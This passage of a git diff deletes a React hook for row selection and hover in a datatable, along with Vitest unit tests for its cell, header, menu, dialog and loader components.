-            expect(mockSetHoveredRowId).toHaveBeenCalledWith(expect.any(Function));
-
-            const updaterFn = mockSetHoveredRowId.mock.calls[0][0];
-
-            expect(updaterFn('row-1')).toBe(null);
-        });
-
-        it('does not clear hovered row id when different id is hovered', () => {
-            const {result} = renderHook(() => useRowIdCell(defaultProps));
-
-            act(() => {
-                result.current.handleMouseLeave();
-            });
-
-            const updaterFn = mockSetHoveredRowId.mock.calls[0][0];
-
-            expect(updaterFn('row-2')).toBe('row-2');
-        });
-    });
-
-    describe('handleCheckboxClick', () => {
-        it('stops event propagation', () => {
-            const {result} = renderHook(() => useRowIdCell(defaultProps));
-            const event = {
-                stopPropagation: vi.fn(),
-            } as unknown as MouseEvent;
-
-            act(() => {
-                result.current.handleCheckboxClick(event);
-            });
-
-            expect(event.stopPropagation).toHaveBeenCalled();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cells/hooks/useRowIdCell.ts b/client/src/pages/automation/datatable/components/cells/hooks/useRowIdCell.ts
deleted file mode 100644
index bf335b87749..00000000000
--- a/client/src/pages/automation/datatable/components/cells/hooks/useRowIdCell.ts
+++ /dev/null
@@ -1,81 +0,0 @@
-import type {Dispatch, KeyboardEvent, MouseEvent, SetStateAction} from 'react';
-
-interface UseRowSelectionCellProps {
-    onSelectedRowsChange: (rows: ReadonlySet<string>) => void;
-    rowId: string;
-    selectedRows: ReadonlySet<string>;
-    setHoveredRowId: Dispatch<SetStateAction<string | null>>;
-}
-
-interface UseRowSelectionCellI {
-    handleCheckboxClick: (event: MouseEvent) => void;
-    handleCheckedChange: (isChecked: boolean | 'indeterminate') => void;
-    handleKeyDown: (event: KeyboardEvent<HTMLDivElement>) => void;
-    handleMouseEnter: () => void;
-    handleMouseLeave: () => void;
-    handleToggleRow: () => void;
-    isSelected: boolean;
-}
-
-export default function useRowIdCell({
-    onSelectedRowsChange,
-    rowId,
-    selectedRows,
-    setHoveredRowId,
-}: UseRowSelectionCellProps): UseRowSelectionCellI {
-    const isSelected = selectedRows.has(rowId);
-
-    const handleMouseEnter = () => {
-        setHoveredRowId(rowId);
-    };
-
-    const handleMouseLeave = () => {
-        setHoveredRowId((currentId) => (currentId === rowId ? null : currentId));
-    };
-
-    const handleToggleRow = () => {
-        const nextSelection = new Set<string>(selectedRows);
-
-        if (nextSelection.has(rowId)) {
-            nextSelection.delete(rowId);
-        } else {
-            nextSelection.add(rowId);
-        }
-
-        onSelectedRowsChange(nextSelection);
-    };
-
-    const handleKeyDown = (event: KeyboardEvent<HTMLDivElement>) => {
-        if (event.key === 'Enter' || event.key === ' ') {
-            event.preventDefault();
-
-            handleToggleRow();
-        }
-    };
-
-    const handleCheckedChange = (isChecked: boolean | 'indeterminate') => {
-        const updatedSelection = new Set<string>(selectedRows);
-
-        if (isChecked === true) {
-            updatedSelection.add(rowId);
-        } else {
-            updatedSelection.delete(rowId);
-        }
-
-        onSelectedRowsChange(updatedSelection);
-    };
-
-    const handleCheckboxClick = (event: MouseEvent) => {
-        event.stopPropagation();
-    };
-
-    return {
-        handleCheckboxClick,
-        handleCheckedChange,
-        handleKeyDown,
-        handleMouseEnter,
-        handleMouseLeave,
-        handleToggleRow,
-        isSelected,
-    };
-}
diff --git a/client/src/pages/automation/datatable/components/cells/tests/ColumnHeaderCell.test.tsx b/client/src/pages/automation/datatable/components/cells/tests/ColumnHeaderCell.test.tsx
deleted file mode 100644
index 4ee1e589ea3..00000000000
--- a/client/src/pages/automation/datatable/components/cells/tests/ColumnHeaderCell.test.tsx
+++ /dev/null
@@ -1,110 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import ColumnHeaderCell from '../ColumnHeaderCell';
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('ColumnHeaderCell', () => {
-    const defaultProps = {
-        columnId: 'col-123',
-        columnName: 'Test Column',
-        onDelete: vi.fn(),
-        onRename: vi.fn(),
-    };
-
-    describe('rendering', () => {
-        it('should render the column name', () => {
-            render(<ColumnHeaderCell {...defaultProps} />);
-
-            expect(screen.getByText('Test Column')).toBeInTheDocument();
-        });
-
-        it('should render the menu button with correct aria-label', () => {
-            render(<ColumnHeaderCell {...defaultProps} />);
-
-            expect(screen.getByRole('button', {name: 'Column Test Column menu'})).toBeInTheDocument();
-        });
-
-        it('should have title attribute on column name span', () => {
-            render(<ColumnHeaderCell {...defaultProps} />);
-
-            const columnNameSpan = screen.getByText('Test Column');
-
-            expect(columnNameSpan).toHaveAttribute('title', 'Test Column');
-        });
-    });
-
-    describe('dropdown menu', () => {
-        it('should show rename and delete options when menu is opened', async () => {
-            const user = userEvent.setup();
-
-            render(<ColumnHeaderCell {...defaultProps} />);
-
-            const menuButton = screen.getByRole('button', {name: 'Column Test Column menu'});
-
-            await user.click(menuButton);
-
-            expect(screen.getByText('Rename')).toBeInTheDocument();
-            expect(screen.getByText('Delete')).toBeInTheDocument();
-        });
-
-        it('should call onRename with correct arguments when rename is clicked', async () => {
-            const user = userEvent.setup();
-            const mockOnRename = vi.fn();
-
-            render(<ColumnHeaderCell {...defaultProps} onRename={mockOnRename} />);
-
-            const menuButton = screen.getByRole('button', {name: 'Column Test Column menu'});
-
-            await user.click(menuButton);
-
-            const renameOption = screen.getByText('Rename');
-
-            await user.click(renameOption);
-
-            expect(mockOnRename).toHaveBeenCalledWith('col-123', 'Test Column');
-        });
-
-        it('should call onDelete with correct arguments when delete is clicked', async () => {
-            const user = userEvent.setup();
-            const mockOnDelete = vi.fn();
-
-            render(<ColumnHeaderCell {...defaultProps} onDelete={mockOnDelete} />);
-
-            const menuButton = screen.getByRole('button', {name: 'Column Test Column menu'});
-
-            await user.click(menuButton);
-
-            const deleteOption = screen.getByText('Delete');
-
-            await user.click(deleteOption);
-
-            expect(mockOnDelete).toHaveBeenCalledWith('col-123', 'Test Column');
-        });
-    });
-
-    describe('different column names', () => {
-        it('should handle column name with special characters', () => {
-            render(<ColumnHeaderCell {...defaultProps} columnName="Column with 'quotes' & symbols!" />);
-
-            expect(screen.getByText("Column with 'quotes' & symbols!")).toBeInTheDocument();
-        });
-
-        it('should handle empty column name', () => {
-            render(<ColumnHeaderCell {...defaultProps} columnName="" />);
-
-            // With empty column name, we just check the button exists
-            const menuButton = screen.getByRole('button');
-
-            expect(menuButton).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cells/tests/RowIdCell.test.tsx b/client/src/pages/automation/datatable/components/cells/tests/RowIdCell.test.tsx
deleted file mode 100644
index 5c17d224699..00000000000
--- a/client/src/pages/automation/datatable/components/cells/tests/RowIdCell.test.tsx
+++ /dev/null
@@ -1,189 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import RowIdCell from '../RowIdCell';
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('RowIdCell', () => {
-    const createDefaultProps = () => ({
-        hoveredRowId: null as string | null,
-        localRows: [
-            {id: '1', name: 'Row 1'},
-            {id: '2', name: 'Row 2'},
-            {id: '3', name: 'Row 3'},
-        ],
-        onAddRow: vi.fn(),
-        onSelectedRowsChange: vi.fn(),
-        row: {id: '1', name: 'Row 1'} as {id: string; name?: string},
-        rowIdx: 0,
-        selectedRows: new Set<string>(),
-        setHoveredRowId: vi.fn(),
-    });
-
-    describe('add row button', () => {
-        it('should render add row button for synthetic last row (id: -1)', () => {
-            const props = createDefaultProps();
-            props.row = {id: '-1'};
-            props.rowIdx = 3;
-
-            render(<RowIdCell {...props} />);
-
-            const button = screen.getByRole('button');
-
-            expect(button).toHaveAttribute('title', 'Add row');
-        });
-
-        it('should call onAddRow when add button is clicked', async () => {
-            const user = userEvent.setup();
-            const props = createDefaultProps();
-            props.row = {id: '-1'};
-            props.rowIdx = 3;
-
-            render(<RowIdCell {...props} />);
-
-            const button = screen.getByRole('button');
-
-            await user.click(button);
-
-            expect(props.onAddRow).toHaveBeenCalledTimes(1);
-        });
-    });
-
-    describe('row number display', () => {
-        it('should display row number when not hovered and not selected', () => {
-            const props = createDefaultProps();
-
-            render(<RowIdCell {...props} />);
-
-            expect(screen.getByText('1')).toBeInTheDocument();
-        });
-
-        it('should display correct row number based on position in localRows', () => {
-            const props = createDefaultProps();
-            props.row = {id: '2', name: 'Row 2'};
-            props.rowIdx = 1;
-
-            render(<RowIdCell {...props} />);
-
-            expect(screen.getByText('2')).toBeInTheDocument();
-        });
-    });
-
-    describe('checkbox display', () => {
-        it('should show checkbox when row is selected', () => {
-            const props = createDefaultProps();
-            props.selectedRows = new Set(['1']);
-
-            render(<RowIdCell {...props} />);
-
-            expect(screen.getByRole('checkbox')).toBeInTheDocument();
-        });
-
-        it('should show checkbox when row is hovered', () => {
-            const props = createDefaultProps();
-            props.hoveredRowId = '1';
-
-            render(<RowIdCell {...props} />);
-
-            expect(screen.getByRole('checkbox')).toBeInTheDocument();
-        });
-
-        it('should have checked checkbox when row is selected', () => {
-            const props = createDefaultProps();
-            props.selectedRows = new Set(['1']);
-
-            render(<RowIdCell {...props} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'checked');
-        });
-
-        it('should have unchecked checkbox when row is not selected but hovered', () => {
-            const props = createDefaultProps();
-            props.hoveredRowId = '1';
-
-            render(<RowIdCell {...props} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'unchecked');
-        });
-    });
-
-    describe('row selection', () => {
-        it('should call onSelectedRowsChange to add row when clicking unselected row', async () => {
-            const user = userEvent.setup();
-            const props = createDefaultProps();
-            props.hoveredRowId = '1'; // Show checkbox
-
-            render(<RowIdCell {...props} />);
-
-            const rowContainer = screen.getByRole('button');
-
-            await user.click(rowContainer);
-
-            expect(props.onSelectedRowsChange).toHaveBeenCalledWith(new Set(['1']));
-        });
-
-        it('should call onSelectedRowsChange to remove row when clicking selected row', async () => {
-            const user = userEvent.setup();
-            const props = createDefaultProps();
-            props.selectedRows = new Set(['1']);
-
-            render(<RowIdCell {...props} />);
-
-            const rowContainer = screen.getByRole('button');
-
-            await user.click(rowContainer);
-
-            expect(props.onSelectedRowsChange).toHaveBeenCalledWith(new Set());
-        });
-    });
-
-    describe('hover behavior', () => {
-        it('should call setHoveredRowId on mouse enter', async () => {
-            const user = userEvent.setup();
-            const props = createDefaultProps();
-
-            render(<RowIdCell {...props} />);
-
-            const rowContainer = screen.getByRole('button');
-
-            await user.hover(rowContainer);
-
-            expect(props.setHoveredRowId).toHaveBeenCalledWith('1');
-        });
-    });
-
-    describe('accessibility', () => {
-        it('should have correct aria-label on checkbox', () => {
-            const props = createDefaultProps();
-            props.selectedRows = new Set(['1']);
-
-            render(<RowIdCell {...props} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('aria-label', 'Select row 1');
-        });
-
-        it('should have title with row number', () => {
-            const props = createDefaultProps();
-
-            render(<RowIdCell {...props} />);
-
-            const rowContainer = screen.getByRole('button');
-
-            expect(rowContainer).toHaveAttribute('title', 'Row 1');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cells/tests/SelectAllHeaderCell.test.tsx b/client/src/pages/automation/datatable/components/cells/tests/SelectAllHeaderCell.test.tsx
deleted file mode 100644
index 4ae510b54d8..00000000000
--- a/client/src/pages/automation/datatable/components/cells/tests/SelectAllHeaderCell.test.tsx
+++ /dev/null
@@ -1,174 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import SelectAllHeaderCell, {IndeterminateCheckbox} from '../SelectAllHeaderCell';
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('IndeterminateCheckbox', () => {
-    describe('rendering', () => {
-        it('should render a checkbox', () => {
-            render(<IndeterminateCheckbox checked={false} indeterminate={false} onChange={vi.fn()} />);
-
-            expect(screen.getByRole('checkbox')).toBeInTheDocument();
-        });
-
-        it('should have correct aria-label when provided', () => {
-            render(
-                <IndeterminateCheckbox
-                    ariaLabel="Test checkbox"
-                    checked={false}
-                    indeterminate={false}
-                    onChange={vi.fn()}
-                />
-            );
-
-            expect(screen.getByRole('checkbox')).toHaveAttribute('aria-label', 'Test checkbox');
-        });
-    });
-
-    describe('checked state', () => {
-        it('should be unchecked when checked is false', () => {
-            render(<IndeterminateCheckbox checked={false} indeterminate={false} onChange={vi.fn()} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'unchecked');
-        });
-
-        it('should be checked when checked is true', () => {
-            render(<IndeterminateCheckbox checked={true} indeterminate={false} onChange={vi.fn()} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'checked');
-        });
-
-        it('should be indeterminate when indeterminate is true', () => {
-            render(<IndeterminateCheckbox checked={false} indeterminate={true} onChange={vi.fn()} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'indeterminate');
-        });
-
-        it('should prioritize indeterminate over checked', () => {
-            render(<IndeterminateCheckbox checked={true} indeterminate={true} onChange={vi.fn()} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'indeterminate');
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call onChange with true when clicking unchecked checkbox', async () => {
-            const user = userEvent.setup();
-            const mockOnChange = vi.fn();
-
-            render(<IndeterminateCheckbox checked={false} indeterminate={false} onChange={mockOnChange} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            await user.click(checkbox);
-
-            expect(mockOnChange).toHaveBeenCalledWith(true);
-        });
-
-        it('should call onChange with false when clicking checked checkbox', async () => {
-            const user = userEvent.setup();
-            const mockOnChange = vi.fn();
-
-            render(<IndeterminateCheckbox checked={true} indeterminate={false} onChange={mockOnChange} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            await user.click(checkbox);
-
-            expect(mockOnChange).toHaveBeenCalledWith(false);
-        });
-    });
-});
-
-describe('SelectAllHeaderCell', () => {
-    describe('rendering', () => {
-        it('should render the checkbox with correct aria-label', () => {
-            render(<SelectAllHeaderCell allSelected={false} onToggleSelectAll={vi.fn()} someSelected={false} />);
-
-            expect(screen.getByRole('checkbox')).toHaveAttribute('aria-label', 'Select all rows');
-        });
-    });
-
-    describe('select all state', () => {
-        it('should show unchecked when no rows are selected', () => {
-            render(<SelectAllHeaderCell allSelected={false} onToggleSelectAll={vi.fn()} someSelected={false} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'unchecked');
-        });
-
-        it('should show checked when all rows are selected', () => {
-            render(<SelectAllHeaderCell allSelected={true} onToggleSelectAll={vi.fn()} someSelected={false} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'checked');
-        });
-
-        it('should show indeterminate when some rows are selected', () => {
-            render(<SelectAllHeaderCell allSelected={false} onToggleSelectAll={vi.fn()} someSelected={true} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'indeterminate');
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call onToggleSelectAll when clicked', async () => {
-            const user = userEvent.setup();
-            const mockOnToggleSelectAll = vi.fn();
-
-            render(
-                <SelectAllHeaderCell
-                    allSelected={false}
-                    onToggleSelectAll={mockOnToggleSelectAll}
-                    someSelected={false}
-                />
-            );
-
-            const checkbox = screen.getByRole('checkbox');
-
-            await user.click(checkbox);
-
-            expect(mockOnToggleSelectAll).toHaveBeenCalledWith(true);
-        });
-
-        it('should call onToggleSelectAll with false when all are selected', async () => {
-            const user = userEvent.setup();
-            const mockOnToggleSelectAll = vi.fn();
-
-            render(
-                <SelectAllHeaderCell
-                    allSelected={true}
-                    onToggleSelectAll={mockOnToggleSelectAll}
-                    someSelected={false}
-                />
-            );
-
-            const checkbox = screen.getByRole('checkbox');
-
-            await user.click(checkbox);
-
-            expect(mockOnToggleSelectAll).toHaveBeenCalledWith(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/AddDataTableColumnDialog.test.tsx b/client/src/pages/automation/datatable/components/tests/AddDataTableColumnDialog.test.tsx
deleted file mode 100644
index 228fcccb4ff..00000000000
--- a/client/src/pages/automation/datatable/components/tests/AddDataTableColumnDialog.test.tsx
+++ /dev/null
@@ -1,145 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import AddDataTableColumnDialog from '../AddDataTableColumnDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleAdd: vi.fn(),
-        mockHandleOpenChange: vi.fn(),
-        mockOpen: true,
-    };
-});
-
-vi.mock('../../hooks/useAddDataTableColumnDialog', () => ({
-    default: () => ({
-        handleAdd: hoisted.mockHandleAdd,
-        handleOpenChange: hoisted.mockHandleOpenChange,
-        open: hoisted.mockOpen,
-    }),
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockOpen = true;
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('AddDataTableColumnDialog', () => {
-    describe('rendering', () => {
-        it('should render the dialog when open is true', () => {
-            render(<AddDataTableColumnDialog />);
-
-            expect(screen.getByRole('dialog')).toBeInTheDocument();
-        });
-
-        it('should not render the dialog when open is false', () => {
-            hoisted.mockOpen = false;
-
-            render(<AddDataTableColumnDialog />);
-
-            expect(screen.queryByRole('dialog')).not.toBeInTheDocument();
-        });
-
-        it('should render the dialog title', () => {
-            render(<AddDataTableColumnDialog />);
-
-            expect(screen.getByText('Add Column')).toBeInTheDocument();
-        });
-
-        it('should render the name input with label', () => {
-            render(<AddDataTableColumnDialog />);
-
-            expect(screen.getByText('Name')).toBeInTheDocument();
-            expect(screen.getByRole('textbox')).toBeInTheDocument();
-        });
-
-        it('should render the type select with label', () => {
-            render(<AddDataTableColumnDialog />);
-
-            expect(screen.getByText('Type')).toBeInTheDocument();
-            expect(screen.getByRole('combobox')).toBeInTheDocument();
-        });
-
-        it('should render Cancel and Add buttons', () => {
-            render(<AddDataTableColumnDialog />);
-
-            expect(screen.getByRole('button', {name: 'Cancel'})).toBeInTheDocument();
-            expect(screen.getByRole('button', {name: 'Add'})).toBeInTheDocument();
-        });
-
-        it('should have STRING as default column type', () => {
-            render(<AddDataTableColumnDialog />);
-
-            expect(screen.getByRole('combobox')).toHaveTextContent('STRING');
-        });
-    });
-
-    describe('interactions', () => {
-        it('should update name input when typing', async () => {
-            const user = userEvent.setup();
-
-            render(<AddDataTableColumnDialog />);
-
-            const input = screen.getByRole('textbox');
-
-            await user.type(input, 'newColumn');
-
-            expect(input).toHaveValue('newColumn');
-        });
-
-        it('should call handleOpenChange with false when Cancel is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<AddDataTableColumnDialog />);
-
-            const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-
-            await user.click(cancelButton);
-
-            expect(hoisted.mockHandleOpenChange).toHaveBeenCalledWith(false);
-        });
-
-        it('should call handleAdd with name and type when Add is clicked with valid name', async () => {
-            const user = userEvent.setup();
-
-            render(<AddDataTableColumnDialog />);
-
-            const input = screen.getByRole('textbox');
-
-            await user.type(input, 'myColumn');
-
-            const addButton = screen.getByRole('button', {name: 'Add'});
-
-            await user.click(addButton);
-
-            expect(hoisted.mockHandleAdd).toHaveBeenCalledWith('myColumn', 'STRING');
-        });
-
-        it('should not call handleAdd when Add is clicked with empty name', async () => {
-            const user = userEvent.setup();
-
-            render(<AddDataTableColumnDialog />);
-
-            const addButton = screen.getByRole('button', {name: 'Add'});
-
-            await user.click(addButton);
-
-            expect(hoisted.mockHandleAdd).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('form reset', () => {
-        it('should have empty name when dialog is initially opened', () => {
-            render(<AddDataTableColumnDialog />);
-
-            const input = screen.getByRole('textbox');
-
-            expect(input).toHaveValue('');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/BottomLoader.test.tsx b/client/src/pages/automation/datatable/components/tests/BottomLoader.test.tsx
deleted file mode 100644
index d5a37c89e9e..00000000000
--- a/client/src/pages/automation/datatable/components/tests/BottomLoader.test.tsx
+++ /dev/null
@@ -1,55 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it} from 'vitest';
-
-import BottomLoader from '../BottomLoader';
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-});
-
-describe('BottomLoader', () => {
-    describe('rendering', () => {
-        it('should render total row count', () => {
-            render(<BottomLoader isFetchingNextPage={false} rowCount={100} />);
-
-            expect(screen.getByText('Total rows: 100')).toBeInTheDocument();
-        });
-
-        it('should render row count of 0', () => {
-            render(<BottomLoader isFetchingNextPage={false} rowCount={0} />);
-
-            expect(screen.getByText('Total rows: 0')).toBeInTheDocument();
-        });
-
-        it('should render large row count', () => {
-            render(<BottomLoader isFetchingNextPage={false} rowCount={10000} />);
-
-            expect(screen.getByText('Total rows: 10000')).toBeInTheDocument();
-        });
-    });
-
-    describe('loading state', () => {
-        it('should show loading text when fetching next page', () => {
-            render(<BottomLoader isFetchingNextPage={true} rowCount={50} />);
-
-            expect(screen.getByText('Loading…')).toBeInTheDocument();
-        });
-
-        it('should not show loading text when not fetching', () => {
-            render(<BottomLoader isFetchingNextPage={false} rowCount={50} />);
-
-            expect(screen.queryByText('Loading…')).not.toBeInTheDocument();
-        });
-
-        it('should show both row count and loading text when fetching', () => {
-            render(<BottomLoader isFetchingNextPage={true} rowCount={75} />);
-
-            expect(screen.getByText('Total rows: 75')).toBeInTheDocument();
-            expect(screen.getByText('Loading…')).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/DataTableActionsMenu.test.tsx b/client/src/pages/automation/datatable/components/tests/DataTableActionsMenu.test.tsx
deleted file mode 100644
index f62399c0cb1..00000000000
--- a/client/src/pages/automation/datatable/components/tests/DataTableActionsMenu.test.tsx
+++ /dev/null
@@ -1,142 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DataTableActionsMenu from '../DataTableActionsMenu';
-
-const defaultProps = {
-    onDeleteTable: vi.fn(),
-    onExportCsv: vi.fn(),
-    onImportCsv: vi.fn(),
-    onRenameTable: vi.fn(),
-    tableId: 'table-123',
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DataTableActionsMenu', () => {
-    describe('rendering', () => {
-        it('should render the menu trigger button', () => {
-            render(<DataTableActionsMenu {...defaultProps} />);
-
-            expect(screen.getByRole('button', {name: 'More actions'})).toBeInTheDocument();
-        });
-
-        it('should not show menu items initially', () => {
-            render(<DataTableActionsMenu {...defaultProps} />);
-
-            expect(screen.queryByText('Import CSV')).not.toBeInTheDocument();
-            expect(screen.queryByText('Export CSV')).not.toBeInTheDocument();
-        });
-    });
-
-    describe('menu items when tableId is provided', () => {
-        it('should show all menu items when trigger is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DataTableActionsMenu {...defaultProps} />);
-
-            const triggerButton = screen.getByRole('button', {name: 'More actions'});
-
-            await user.click(triggerButton);
-
-            expect(screen.getByText('Import CSV')).toBeInTheDocument();
-            expect(screen.getByText('Export CSV')).toBeInTheDocument();
-            expect(screen.getByText('Rename Table')).toBeInTheDocument();
-            expect(screen.getByText('Delete Table')).toBeInTheDocument();
-        });
-    });
-
-    describe('menu items when tableId is not provided', () => {
-        it('should hide Rename and Delete options when no tableId', async () => {
-            const user = userEvent.setup();
-
-            render(<DataTableActionsMenu {...defaultProps} tableId={undefined} />);
-
-            const triggerButton = screen.getByRole('button', {name: 'More actions'});
-
-            await user.click(triggerButton);
-
-            expect(screen.getByText('Import CSV')).toBeInTheDocument();
-            expect(screen.getByText('Export CSV')).toBeInTheDocument();
-            expect(screen.queryByText('Rename Table')).not.toBeInTheDocument();
-            expect(screen.queryByText('Delete Table')).not.toBeInTheDocument();
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call onImportCsv when Import CSV is clicked', async () => {
-            const user = userEvent.setup();
-            const onImportCsv = vi.fn();
-
-            render(<DataTableActionsMenu {...defaultProps} onImportCsv={onImportCsv} />);
-
-            const triggerButton = screen.getByRole('button', {name: 'More actions'});
-
-            await user.click(triggerButton);
-
-            const importItem = screen.getByText('Import CSV');
-
-            await user.click(importItem);
-
-            expect(onImportCsv).toHaveBeenCalledTimes(1);
-        });
-
-        it('should call onExportCsv when Export CSV is clicked', async () => {
-            const user = userEvent.setup();
-            const onExportCsv = vi.fn();
-
-            render(<DataTableActionsMenu {...defaultProps} onExportCsv={onExportCsv} />);
-
-            const triggerButton = screen.getByRole('button', {name: 'More actions'});
-
-            await user.click(triggerButton);
-
-            const exportItem = screen.getByText('Export CSV');
-
-            await user.click(exportItem);
-
-            expect(onExportCsv).toHaveBeenCalledTimes(1);
-        });
-
-        it('should call onRenameTable when Rename Table is clicked', async () => {
-            const user = userEvent.setup();
-            const onRenameTable = vi.fn();
-
-            render(<DataTableActionsMenu {...defaultProps} onRenameTable={onRenameTable} />);
-
-            const triggerButton = screen.getByRole('button', {name: 'More actions'});
-
-            await user.click(triggerButton);
-
-            const renameItem = screen.getByText('Rename Table');
-
-            await user.click(renameItem);
-
-            expect(onRenameTable).toHaveBeenCalledTimes(1);
-        });
-
-        it('should call onDeleteTable when Delete table is clicked', async () => {
-            const user = userEvent.setup();
-            const onDeleteTable = vi.fn();
-
-            render(<DataTableActionsMenu {...defaultProps} onDeleteTable={onDeleteTable} />);
-
-            const triggerButton = screen.getByRole('button', {name: 'More actions'});
-
-            await user.click(triggerButton);
-
-            const deleteItem = screen.getByText('Delete Table');
-
-            await user.click(deleteItem);
-
-            expect(onDeleteTable).toHaveBeenCalledTimes(1);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/DataTableHeader.test.tsx b/client/src/pages/automation/datatable/components/tests/DataTableHeader.test.tsx
deleted file mode 100644
index 29e691377d0..00000000000
--- a/client/src/pages/automation/datatable/components/tests/DataTableHeader.test.tsx
+++ /dev/null
@@ -1,200 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DataTableHeader from '../DataTableHeader';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleExportCsv: vi.fn(),
-        mockHandleOpenDeleteDialog: vi.fn(),
-        mockHandleOpenDeleteRowsDialog: vi.fn(),
-        mockHandleOpenImportCsvDialog: vi.fn(),
-        mockHandleOpenRenameDialog: vi.fn(),
-        storeState: {
-            dataTable: {baseName: 'TestTable', id: 'table-123'},
-            selectedRowsCount: 0,
-        },
-    };
-});
-
-vi.mock('../../hooks/useDataTableHeader', () => ({
-    default: () => ({
-        handleOpenDeleteRowsDialog: hoisted.mockHandleOpenDeleteRowsDialog,
-        selectedRowsCount: hoisted.storeState.selectedRowsCount,
-    }),
-}));
-
-vi.mock('../../hooks/useDataTableActionsMenu', () => ({
-    default: () => ({
-        handleExportCsv: hoisted.mockHandleExportCsv,
-        handleOpenDeleteDialog: hoisted.mockHandleOpenDeleteDialog,
-        handleOpenImportCsvDialog: hoisted.mockHandleOpenImportCsvDialog,
-        handleOpenRenameDialog: hoisted.mockHandleOpenRenameDialog,
-    }),
-}));
-
-vi.mock('../../stores/useCurrentDataTableStore', () => ({
-    useCurrentDataTableStore: () => ({
-        dataTable: hoisted.storeState.dataTable,
-    }),
-}));
-
-vi.mock('../DataTableActionsMenu', () => ({
-    default: ({
-        onDeleteTable,
-        onExportCsv,
-        onImportCsv,
-        onRenameTable,
-        tableId,
-    }: {
-        onDeleteTable: () => void;
-        onExportCsv: () => void;
-        onImportCsv: () => void;
-        onRenameTable: () => void;
-        tableId?: string;
-    }) => (
-        <div data-testid="actions-menu">
-            <button data-testid="import-btn" onClick={onImportCsv}>
-                Import Table
-            </button>
-
-            <button data-testid="export-btn" onClick={onExportCsv}>
-                Export Table
-            </button>
-
-            <button data-testid="rename-btn" onClick={onRenameTable}>
-                Rename Table
-            </button>
-
-            <button data-testid="delete-table-btn" onClick={onDeleteTable}>
-                Delete Table
-            </button>
-
-            <span data-testid="table-id">{tableId}</span>
-        </div>
-    ),
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.storeState.selectedRowsCount = 0;
-    hoisted.storeState.dataTable = {baseName: 'TestTable', id: 'table-123'};
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DataTableHeader', () => {
-    describe('rendering', () => {
-        it('should render the table name', () => {
-            render(<DataTableHeader />);
-
-            expect(screen.getByText('TestTable')).toBeInTheDocument();
-        });
-
-        it('should render the actions menu', () => {
-            render(<DataTableHeader />);
-
-            expect(screen.getByTestId('actions-menu')).toBeInTheDocument();
-        });
-
